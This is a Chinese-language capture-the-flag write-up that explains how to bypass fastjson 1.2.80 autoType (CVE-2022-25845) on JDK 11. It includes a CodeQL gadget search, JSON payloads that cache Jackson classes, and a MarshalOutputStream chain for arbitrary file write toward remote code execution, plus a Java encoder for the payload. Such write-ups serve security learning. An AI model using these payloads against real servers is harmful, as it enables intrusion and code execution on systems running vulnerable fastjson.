京麒ctf Fastj

期末考结束拉 学学学

题目依赖很干净 只有spring 原生的依赖 同时告诉我们是jdk 11 使用的是fj 1.2.80

fastjson 在1.2.68的时候有一条特殊的链子 only jdk 11 的链子

图来自于https://blog.ninefiger.top/2022/11/11/fastjson%201.2.68%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

image-20250612142546686

而 jk 1.2.80 是去掉了这个auotcloseable ,不能通过这个方法添加类了,但是又发现了一个新的类 throwable 可以将它添加到map 里面

之前没分析 现在简单分析下

fj1.2.80 反序列化

fastjson反序列化符合条件的期望类时,会将public字段、构造函数参数加到缓存中

依赖和测试json如下

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
1
{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException"}

下断点在**TypeUtils.getClassFromMapping** 简单调试一下

首先判断这个类从缓存中取出了这个类

image-20250612154317392然后调用getDeserializer 方法去获取这个类的序列化器

image-20250612155313829

跟进这个方法 ,先是直接尝试获取到这个反序列化器,但是获取到的值是null 不存在 继续走下去 走入getDeserializer 函数内

image-20250612155507380

前面的一堆 获取的参数都匹配不上 走入后面的流程

image-20250612160451638

获取到的是**ThrowableDeserializer** 这个

image-20250612161644885

然后就是走入词法分析 继续解析后面的字符串,解析到key为@type 然后走入到checkAutoType 函数内

image-20250612162219844

一系列黑白名单校验之后 就会走入addmapping 加入到缓存中

image-20250613091034847

题目提示了需要我们写入OutputStream 这个类 通过写文件来完成rce 同时告诉我们这个是jdk11

参考这个

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}

由于AutoCloseable 在当前(1.280)版本已经被移除 我们需要找到一个其他的方式去添加这个OutputStream

fj1.280 添加缓存机制如下

https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/

image-20250620171824609

我们可以使用codeql 来寻找所有满足缓存条件的类

搜索所有扩展了 Throwable 的类,这些类能够通过递归添加到fj的缓存中去 (感觉写的有点错误)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java

class ExtendsThrowable extends Class {
ExtendsThrowable() { this.getASupertype*().hasQualifiedName("java.lang", "Throwable") }
}

predicate isThrowableRelated(Class c) {
c instanceof ExtendsThrowable
or
exists(Constructor ctor, Parameter p, Class outer |
ctor.getDeclaringType() = outer and
p = ctor.getAParameter() and
c = p.getType() and
isThrowableRelated(outer)
)
}

from Class c
where isThrowableRelated(c)
select c

根据https://github.com/luelueking/CVE-2022-25845-In-Spring

里面他使用如下的方式写入InputStream

1
2
3
4
5
6
7
8
9
10
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}",
"d": {
"$ref": "$.c.c"
}
}

注意到有这样一个类

JsonGenerator,他的实现类里面的UTF8JsonGenerator 能够在使用加载的时候缓存OutputStream

image-20250623173449351

那我们就可以利用这一点加载这个类

1
2
3
4
5
6
7
8
9
10
11
public class main
{
public static void main(String[] args) {
ParserConfig.getGlobalInstance().addAccept("com.fasterxml.jackson.core.JsonGenerator");
String expjson ="{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\"}";
JSON.parse(expjson);


}
}

image-20250623173747249

那加载链条就清楚了

image-20250623174213745

1
2
3
4
UTF8JsonGenerator
JsonGenerator
JsonGenerationException
Exception

第一步 加载JsonGenerationException 后触发他的构造方法,将JsonGenerator 放入缓存

image-20250623191214320

第二部 通过JsonGenerator 将UTF8JsonGenerator 加入缓存

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
public class main
{
public static void main(String[] args) {
String expjson ="{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\"}";
JSON.parse(expjson);
expjson = "{\"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {}}";
JSON.parse(expjson);
expjson ="{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\"}";
JSON.parse(expjson);
}
}

image-20250623191639878

然后就可以通过UTF8JsonGenerator 的构造方法 加载OutputStream

1
{\"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"in\": {} }

也可以一步到位

1
2
3
4
5
6
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {} }",
"b": { "$ref": "$.a.a" },
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"out\": {} }",
"d": { "$ref": "$.c.c" }
}

任意文件写入

回到1.2.68 这个链子上来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}

关注 MarshalOutputStream 的构造方法

image-20250623194142900

在对象序列化过程中,会调用其内部 OutputStream 的 write 方法;

但是这里的 FileOutputStream 没法子加入缓存中 ,但是题目提供了一个类

继承FilterFileOutputStream

1
2
3
4
5
6
public class FilterFileOutputStream extends FileOutputStream {
public FilterFileOutputStream(String name, String prefix) throws FileNotFoundException {
super(name); // 打开或创建目标文件
if (!name.startsWith(prefix)) return;
}
}

就有了第二部写文件的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.io.OutputStream",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "com.app.FilterFileOutputStream", ← 自定义类
"name": "/tmp/test",
"prefix": "/"
},
"infl": {
"input": {
"array": "<base64压缩数据>",
"limit": <解压后的长度>
}
},
"bufLen": "100"
},
"protocolVersion": 1
}

构造写入字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package exp;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;

public class Array {

public static void main(String[] args) {
try {
// 写入文件的原始内容
String input = "test";

// 压缩并编码
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream =
new DeflaterOutputStream(byteArrayOutputStream)) {
deflaterOutputStream.write(input.getBytes("UTF-8"));
}

// 获取 Base64 编码后的结果
byte[] compressedBytes = byteArrayOutputStream.toByteArray();
String encoded = Base64.getEncoder().encodeToString(compressedBytes);
int leng = compressedBytes.length;

// 输出结果
System.out.println("Base64 array: " + encoded);
System.out.println("Length: " + leng);
} catch (IOException e) {
e.printStackTrace();
}
}
}

花了点时间,对fj的利用了解更深刻了

还是要联系codeql。。。。

参考

1
2
3
4
https://xz.aliyun.com/news/18127
https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
https://github.com/luelueking/CVE-2022-25845-In-Spring